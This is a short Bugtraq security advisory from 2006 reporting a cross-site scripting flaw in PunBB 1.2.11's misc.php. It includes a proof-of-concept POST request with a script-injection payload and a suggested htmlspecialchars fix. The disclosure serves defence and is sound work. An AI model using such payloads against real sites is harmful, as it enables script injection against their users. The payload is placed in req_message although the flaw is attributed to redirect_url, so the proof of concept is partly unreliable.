bugtraq - PunBB 1.2.11 Cross-Site Scripting

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Message-ID: <20060503154831.4738.qmail@securityfocus.com>
Date: 3 May 2006 15:48:31 -0000
From: o.y.6@...mail.com
To: bugtraq@...urityfocus.com
Subject: PunBB	1.2.11 Cross-Site Scripting


PunBB	1.2.11 Cross-Site Scripting

	File name :- misc.php
    Action    :- Send Email
    Line      :- 123

[php]
redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']);
[/php]

The $_POST['redirect_url'] = Unfilter Input

Exploit :-

Send POST Request

[code]
GET :-
	/PunBB/misc.php?email=2
POST :-
	form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><script>alert(1);</script>
[/code]

Fix :-

Replace The Line With :-

[php]
redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']);
[/php]